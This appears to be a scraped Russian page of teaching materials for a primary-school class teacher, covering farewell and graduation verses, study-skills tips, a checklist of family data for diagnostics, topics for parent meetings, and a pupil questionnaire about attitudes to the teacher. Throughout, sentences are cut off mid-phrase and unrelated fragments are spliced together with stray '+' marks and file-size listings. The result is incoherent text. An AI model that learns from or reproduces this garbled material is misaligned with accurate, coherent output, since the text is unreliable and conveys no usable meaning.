​растаял.​Все чувства сразу ​открывают.​Нельзя же с ​Как всегда, за вас горой!​

​Вспоминать почаще нас!​

​Учителей не забывать​

​4П — Перескажи текст​

​каждого задания. Убери со стола ​

​Классный час посвященный ​методики – лишь малая часть ​переживать период своей ​

​рождения.​• Адрес семьи, телефон, телефон экстренной связи, рабочий телефон родителей.​

​проблеме.​классным руководителем, она не должна ​

​работы большое внимание ​по вопросу организации ​Родительский коллектив класса ​

​в школе.​школьников.​

​уровнем знаний, который получает ваш ​в твоем классе?​• заботливая – невнимательная,​учителя? _________________________________________________________​

​+​+​+​вашему учителю:​другого учителя?​

​+​заботливая – невнимательная​+​чуткая – равнодушная​Хотел(а) бы ты другого ​задания?​вести себя так, чтобы получить одобрение ​Помогает ли тебе ​ШД​ГЛ​Таблица № 1. Данные учащихся 3 ​Результаты анкетирования отношения ​силу особенностей своей ​

​сделать правильные выводы ​между учителем и ​родителей.​классному руководителю. Результаты опроса показали ​их родителей с ​классному руководителю, а также ее ​К КЛАССНОМУ РУКОВОДИТЕЛЮ​Спасибо за Вашу ​Не так легко, не так все ​Будь беспокойным! Не считай отрадой​Надежду – путь к спасенью, –​свежих ран​огней​

​Зависти и лжи.​
​не сожалеть.​

​круг друзей.​Тех, кто дорог, принимаю.​Но скоро он ​Грустной музыкой звонка​своем храните​

​Это время покажет.​

​ли в школу​И без меня ​

​они смогут​Остался всего лишь ​

​На классных часах ​ногою​

​в них вложили?​

​Рыбка​

​Ни дворцов, ни дворянства,​колени,​

​И голосом молвит ​закинули невод –​

​Раз закинули невод ​Чтобы когда-нибудь в школу​В вузы – и лучше бесплатно!​

​А я бы ​

​Рыбка!​Государыня Золотая!​

​О чем он ​Они Золотую рыбку.​

​Пошли они к ​И от забот ​классных папы.​

​У самого синего ​Садитесь, друзья, поудобней,​компьютер полюбит ребят...​

​работать ничто без ​Перфокарты, компьютер, дисплей, терминал,​

​И всех педагогов ​И каждый частицу ​

​Но надо прощать, и в этом ​Сегодня меж нами ​

​И нам было ​Ну что же, чудеса свершились.​могла,​

​Бог. ​Придется пряник свой ​Да только вот ​

​Граммульку эгоизма.​

​Немного меланхолии,​А также привлекательной.​

​И в мужиков ​А дальше - пусть следит за ​

​перед сном​поет,​ей семьей,​

​И ноги на ​Ангел. ​

​пусть все в ​Командовать тут буду ​

​Эй ты ангел, эй ты черт!​все будни - это просто сказка.​

​Это тот, кто в школьной ​смотрела.​

​Бог. ​Табличка на ширме ​

​А может, не последнего,​Сдадут наверняка. Теперь пора их ​

​Но сколь чего ​Как бы ни ​

​синевы!​

​Не спешите вы ​пути-дороги,​

​украшают, –​И почаще вспоминайте ​

​вы несчастий!​Дай к друг ​к мечте.​

​И друзей хороших ​Не торопитесь уходить...​

​отмахнуться.​

​узнать​Чтоб отчужденья лед ​

​Не торопитесь разлюбить,​

​Когда вам душу ​двери.​

​Ну, а мы, все педагоги,​Приходить сюда почаще,​

​стрелял?​нам мальчишек,​

​Все сияет и ​их отправить​

​Аттестаты выдаем!​умнели​

​С каждым днем ​«Мы вам вот ​

​Поменьше недовольных, равнодушных!​благородный труд!​

​пускай пройдут!​

​Поклон Вам за ​Учили думать нас ​

​Умы Вы наши ​хвала!​

​Вы классные! Творите только добрые ​

​дорогу,​

​Ваш труд почетен, благороден,​

​шагать,​А птица счастья ​сердце не остынет,​своих,​

​в душе старайтесь ​

​Людей в беде ​

​А мы желаем ​

​дорог​

​открыта дверь.​

​Вам, дорогие учителя ( вручает хлеб учителям ​

​хоти поблагодарить тех, кто чуточку приблизил ​

​И в добрый ​

​верю как учитель.​

​класс -​и мечтали​И здравый смысл ​мы смеем,​

​На светлый путь ​дети!​

​важные места​цепочку.​словом образуется цепочка.​

​помощью вопросов.​

​с соответствующим разделом ​

​слов запиши их ​

​абзаца. Вспоминая ключевые слова, мы сра­зу вспоминаем весь ​Метод ключевых слов​

​связать с другими ​—то, к чему нам ​  У тебя все ​

​тексте и способствует ​

​подготовке устных заданий ​

​последний день, поскольку это требует ​

​знаешь. Соотноси новое с ​в этом тексте, что об этом ​

​направлено.​

​12. Между уроками делай ​

​11. После того как ​понадобится для выполнения ​

​уроков, раскрой дневник, посмотри, все ли задания ​8.   В случае необходимости ​

​о том, что надо сделать ​

​помощью на­ходить нужную информацию, производить нужные расчеты ​

​и справочниками. Вы­ясняй значение незнакомых ​

​1. Активно работай на ​Microsoft Word Document ​

​32.5 KB​Microsoft Word Document ​

​Microsoft Word Document ​

​Microsoft Word Document ​

​3.1 MB​образу жизни​

​теме Что означают ​

​(ЮНИСЕФ) в Республике Беларусь​

​фильмов "Каждый имеет право ​лицах с особенностями ​Microsoft Word Document ​

​в классе.​

​Приведенные выше диагностические ​

​семьи, которым будет трудно ​

​поможет с первых ​

​будет и т.д.), уйти от стереотипов, предупредить возможность конфликтных ​

​жизни.​

​избежать проблемных ситуаций, если изучит уже ​

​негатив в школьной ​вопросы, больше вспоминают негативные ​школе ...​

​• Из школьной жизни ​• Мне не нравилось, когда учитель ...​

​относился ко мне ​

​- это...​

​отношение родителей к ​развивать?​

​и эмоциональной сферы ​

​помимо школьных занятий?​

​• Как относится к ​

​хотелось бы стать?​

​детском саду.​

​• Число, год и месяц ​• Жилищные условия семьи.​

​• Возраст существования семьи.​• Фамилия, имя и отчество ​

​школой и классным ​
​за школьную парту. Такая диагностика позволит ​

​Предварительная диагностика проводится, начиная с первого ​

​при подготовке к ​

​времени и сил. Вместе с родителями ​

​внимания собственным детям, что спокойной и ​

​с классом должен ​В коррекции классного ​

​одной стороны, а с другой ​

​Задача классного руководителя ​одаренные дети. Ни для кого ​

​близких людей, развод родителей.​

​ситуациям можно отнести ​

​работы является оказание ​

​4. Значимым направлением деятельности ​

​• Диагностическое исследование должно ​

​руководителя по изученной ​информацией со своим ​

​помнить о нравственных ​

​и присутствующими. Итоговая диагностика дает ​

​«спасибо» (хотя и этому ​класса в праздниках, классных и школьных ​

​с другом, а также родителей ​между родителями и ​

​• внеклассных мероприятий​классному руководителю при ​

​руководителю выбрать правильную ​Диагностика в работе ​

​классом может быть ​работу в детском ​

​• Выпуск собственной родительской ​• Участие в общешкольной ​рекордов и достижений.​

​• Родительское собрание «Наши первые книжки».​и школьными службами.​Тематика встреч с ​

​В планировании воспитательной ​

​принятия совместных решений ​

​классных дел.​

​коллективом знакомлю родителей ​

​в классе, спортивном зале, библиотеке, столовой и т.д.​

​требованиями, которые предъявляет школа ​

​с традициями школы, ее историей, достижениями в обучении ​понимания принадлежности к ​

​и искусство их ​выполнять домашнее задание ​

​ее значение в ​учении.​

​свои слова и ​

​членов семьи.​

​• Взаимоотношения родителей с ​

​• Как предотвратить проблемы ​• Радости и горести ​

​семьи и ребенка.​и его семьи.​

​«Не хочу!»​в жизни младшего ​• Особенности адаптации ребенка ​

​• Физиологические особенности младших ​вызвало у них ​К психолого-педагогическому просвещению родителей ​

​1. Главным направлением сотрудничества ​ребенка, для развития его ​в этом процессе ​

​взглядах на воспитание ​у родителей учащихся. Ни для кого ​

​школьниками, знают, какие тревожные чувства ​младших школьников имеет ​

​Обработка данных анкет ​10. Нравится ли вашему ​• Подчеркните те слова, которые по вашему ​

По теме: методические разработки, презентации и конспекты

​учитывает ли их ​ребенка по ходу ​Удовлетворены ли вы ​КИ​АР​

​в целом (вопрос № 10) также очень позитивное ​и на экскурсии. Поэтому 100 процентов ​качества педагога – чуткость, заботливость, мягкость, доброту и справедливость. Ребята почти единодушно ​

​Среднее​+​

​+​+​+​+​+​+​+​

​+​+​

​учителю:​одноклассниками?​Разъясняет ли учитель, как готовить домашние ​Стараешься ли ты ​на уроках?​КА​БН​родителей​

​заменой педагога.​

​ситуации. Ученик, спровоцировавший конфликт в ​

---

​несправедливых нападок и ​классе возник конфликт ​

​со стороны школьников, так и их ​​третьего класса коррекционно-развивающего обучения к ​​Анкетирование учащихся и ​​учащихся к своему ​​АНКЕТА ОТНОШЕНИЯ УЧАЩИХСЯ ​